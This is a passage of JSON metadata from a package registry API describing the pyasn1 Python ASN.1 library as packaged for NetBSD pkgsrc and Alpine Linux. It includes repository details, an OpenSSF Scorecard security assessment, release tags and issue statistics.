ackages/security%2Fpy-asn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/security%2Fpy-asn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/security%2Fpy-asn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/security%2Fpy-asn1/codemeta","maintainers":[],"registry":{"name":"pkgsrc-netbsd-x86_64-10.1-all","url":"https://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/x86_64/10.1/All","ecosystem":"pkgsrc","default":true,"packages_count":19690,"maintainers_count":0,"namespaces_count":43,"keywords_count":368,"github":"pkgsrc","metadata":{"funded_packages_count":466},"icon_url":"https://github.com/pkgsrc.png","created_at":"2026-05-26T08:59:24.518Z","updated_at":"2026-08-21T05:00:17.275Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/namespaces"}},{"id":6031707,"name":"py3-asn1","ecosystem":"alpine","description":"Python3 ASN1 library","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"community","versions_count":11,"first_release_published_at":"2022-11-22T19:33:17.000Z","latest_release_published_at":"2026-07-15T03:28:06.000Z","latest_release_number":"0.6.4-r0","last_synced_at":"2026-07-15T04:42:43.282Z","created_at":"2023-01-31T17:33:16.996Z","updated_at":"2026-08-15T09:21:24.932Z","registry_url":"https://pkgs.alpinelinux.org/package/edge/community/x86_64/py3-asn1","install_command":"apk add py3-asn1","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.932Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":14.64073262366938,"stargazers_count":null,"forks_count":null,"average":7.32036631183469},"purl":"pkg:apk/alpine/py3-asn1?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=edge","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-asn1","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-asn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-asn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-asn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-asn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-asn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-asn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-asn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-asn1/codemeta","maintainers":[{"uuid":"alpine@ptrcnull.me","login":null,"name":"Patrycja Rosa","email":"alpine@ptrcnull.me","url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","packages_count":770,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja 